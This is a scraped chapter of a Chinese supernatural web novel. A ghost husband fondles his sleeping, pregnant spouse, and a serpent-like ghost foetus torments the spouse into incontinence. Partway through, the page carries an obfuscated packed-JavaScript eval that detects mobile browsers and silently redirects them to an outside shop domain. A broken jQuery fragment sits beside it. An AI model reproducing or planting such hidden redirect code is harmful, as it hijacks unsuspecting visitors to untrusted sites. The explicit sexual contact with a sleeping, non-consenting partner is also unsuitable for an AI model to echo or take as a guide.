文趣网 > 都市小说 > 涎玉怀珠 > 16.第 16 章
    连日的暴雨在下半夜短暂停歇,天地寂静无尘,夜色更显深邃。

    卧室昏暗,米色窗帘被风吹得纷飞,露出窗外层林深浅的黑影,床上的人却睡得很熟。

    冰冷青白的大手游走在妻子雪白的腰腹,先是用修长的二指丈量着他隆起的肚子的尺寸,而后覆上整个手掌按压。

    只过了一夜,他的肚子更大了,原本只是微微隆起的弧度,现在隔着睡裙也有明显的凸起。

    似乎被摁得难受,睡梦中的妻子哼哼了两声,拉住作乱的手向下用腿紧紧夹住。

    他的腿根最近长了肉,并腿的时候缝隙都消失了,整只鬼手全部包裹在温热软肉中。

    因为怀孕宋怀聿浑身上下都柔和不少,只有下颌依旧尖尖的,眼睫密密如阴云般垂落,雪白的面庞隐隐透出熟睡的潮红。

    他尚在不安稳的睡梦里,喉头发出两声不堪其扰的咕哝。

    只是没过一会,大腿就自发蹭了蹭。

    黑暗中传来一道轻笑:“贪吃鬼小聿。”

    森冷指尖捻开饱满的唇肉,拇指滑过齿列,捉住了艳红舌尖,全方位检验他有没有吃到什么不干净的东西,向内探寻直到喉头收紧。

    宋怀聿的心脏残余着难过的情绪,嘴巴被玩得难受,下面又蹭得很舒服,悲伤与愉悦最终交织出完美的高朝脸。

    一阵酸软的潮热袭来,空气中弥漫着靡靡甜香。

    细密的睫羽打着颤,晕湿颊侧眼泪,又被冰冷黏湿的鬼舌舔去。

    宋怀聿睁开眼时,窗帘外是灰蒙蒙的天空,房间里什么人也没有,只有红木桌上的花瓶新插上了一束玫瑰。

    花朵黑红的边缘仿佛被燎烧过,盛放中隐含颓败的意味,并不是合时宜的家用花束。

    白色睡裙上昂贵的手工蕾丝已经泡得发皱,身体后知后觉传来饱腹感,也许是宋闻柏昨晚回来……可晚上发生的事他一点也想不起来。

    宋怀聿的手习惯性地覆上肚子摸了摸,原本不安的心渐渐涌起一种奇异的幸福和满足,这和以前的感受很不同,好像肚子里好像不是一条陌生的蛇,而是真正属于他的宝宝。

    其实,他还是更喜欢孩子们还在肚子里的时候。

    这感觉让他怀念。

    他垂下头任发丝滑落,静静注视着隆起的腹部,透过薄薄的面料能看见两朵殷红的莲花纹身绽放在腰胯间,这一刻时间的快慢似乎无足轻重,又或者对他而言原本就不存在时间,这里只有永恒的母与子。

    可……宋怀聿的目光顿了顿,还是觉得遗忘了什么很重要的事情。

    空气中迸出清脆的铃响,打断了他的凝神。

    家庭管家的通讯内线仅限家庭成员使用,来电的是宋时臣。

    男人语气平稳,仿佛已经不记得上一次并不愉快的谈话,主动表示他已经带人亲自找到了弟弟宋时钦,只是通讯器坏了暂时没办法发消息,让宋怀聿不要太过担心,在家安心等待。

    谈话间,还让宋时钦来打个招呼。

    通讯滋滋两声,长久没传来声音。

    宋怀聿下意识抬头,衣柜上的遗像不知道在什么时候扣倒了,烧断了的长明烛把遗像的面部燎烧出一个黑漆漆的洞。

    实在不像是个好兆头。

    又是滋滋两声,也许是山林里杂音太多,另一头的男声有些失真:

    “大哥,我们马上就回来。”

    确实是宋时钦的声音,宋怀聿松了口气,才发现自己不知不觉出了冷汗。

    他嘱托宋时钦去取的匣子里装着当年那把刀。宋家的上任家主和上上任家主都死在刀下,血孽滔天只有宋家人能使用。

    它是个指路标,宋闻柏既是使用者也是被害者,对它再熟悉不过,或迟或早一定会找到他们。

    他必须要出门去接应。

    可此时此刻仿佛被紧张的心情感染,肚子里的东西突然开始搅动,让宋怀聿立刻扶住了书桌。

    因为孕肚隆起,他甚至不能蹲下去,只能勉强佝偻着身体,发分两侧,薄裙凸起脊骨的形状。

    这次与先前不同,那玩意存心要折磨他,毫不留情地在柔软的腹腔中翻滚,鳞片软中带硬,轻而易举就带来一阵痛楚。

    “别……别动了……”

    宋怀聿的手不受控制地颤抖着,仍然一遍遍地摸过孕肚,试图安抚里面的孽物。

    终于,它停下了,蛇尾将肚皮戳出一个尖,去贴宋怀聿的指尖。

    若是忽略刚才要命的折腾,这一幕堪称温馨。

    看它安分起来,宋怀聿重重喘了几口气,可等他扶住门把手的一瞬间,腹部又出现比刚才更猛烈的反应。

    宋怀聿额上覆着一层冷汗,面色苍白,咬着嘴唇才没发出叫声。

    不仅是疼痛,更难以启齿的是,腹中鬼胎压迫着膀胱,尿道口一阵阵刺痛,宋怀聿双腿颤栗着,近乎哀求道:“快停下……!”

    没有用。

    像是铁了心要给宋怀聿一个教训,不仅没有停止反倒愈演愈烈,兴奋得鳞片翕张,将可怜的子宫当成游乐场。

    有什么温热的东西顺着腿根下滑,很快白色裙摆吸附在腿上,褶皱间透着肉粉。

    宋怀聿愣愣地跪在地上,手还高高抬起捏着门把手,嘴唇抖动着似乎要说话,又好像是傻了。

    ……失禁了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778540|205512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    好脏,好恶心。

    怎么能这样欺负妈妈。

    察觉到宋怀聿起身踉跄着朝浴室走去的一瞬间,腹中那股强势的压迫感消失了。

    [它]不想要妈妈出门。

    宋怀聿要想出门,腹中黑蛇能让他在外面被玩得瘫在地上尿出来,就像现在一样。

    浴室中温热的水液冲刷在身上,他再一次低头看向自己的肚子,好像在看什么陌生的来客。

    这不是他的孩子……这是个鬼物。

    肚子里的小东西再次戳了戳尾巴尖,这一次妈妈不再回应了。

    它似乎意识到自己的错误,彻彻底底地安静下来。

    叮铃铃,叮铃铃——

    相同的声音再次响起。

    宋怀聿坐在床上,湿润的发丝尖尚有水珠滴落,整个人被刚才荒唐的一幕冲击着,使不出一点力气,铃声仿佛自天外传来。

    不知过了多久,他起身接通。

    这一次,对面传来真诚的道歉声:

    “我很抱歉,妈妈,上次不应该用那种语气和您说话。”

    和先前那通电话不同,男人的声音很清晰,环境音也安静得过分。

    宋怀聿觉得有哪里不对劲:“小臣,你在哪?”

    对面有些疑惑:

    “我?我一直在医院。”

    短短一句话让他面上血色尽失。

    宋怀聿浑身血液倒流,几乎站立不住。

    “骗子。”

    他脱口而出。

    如果宋时臣在医院,那刚刚找到宋时钦的是谁?

    “什么?”对面传来关切的声音,宋怀聿却已无力再回应。

    这声音是这样熟悉……宋怀聿想,是的,父子间相像的不止是面容,只要宋闻柏想,他可以伪装成宋时臣的声音。

    ……为什么要骗他?

    一瞬间脑中好像有什么东西要破土而出,滂沱大雨、透明游魂,还有窗帘上洗也洗不净的腌臢血污,又都被他短暂按下。

    宋怀聿面色苍白,表情木然,一点点抬起头,目光扫过宋闻柏破损的遗像,看向木柜缝隙。

    那里藏着一个针孔摄像头。

    长达十余年的分离里,宋怀聿默认着孩子长期的偷窥。

    现在把它们取出来,可以找到宋时钦的定位。

    腹中黑蛇蠢蠢欲动,想要故技重施,可不知道为什么,它忽然觉得妈妈变得有点陌生。

    “乖孩子,安静点。”

    宋怀聿顿了顿,补充道,“如果你还想再出生的话。”

    他的指尖点在肚子上,没过一会,小蛇用尾巴尖轻轻回应。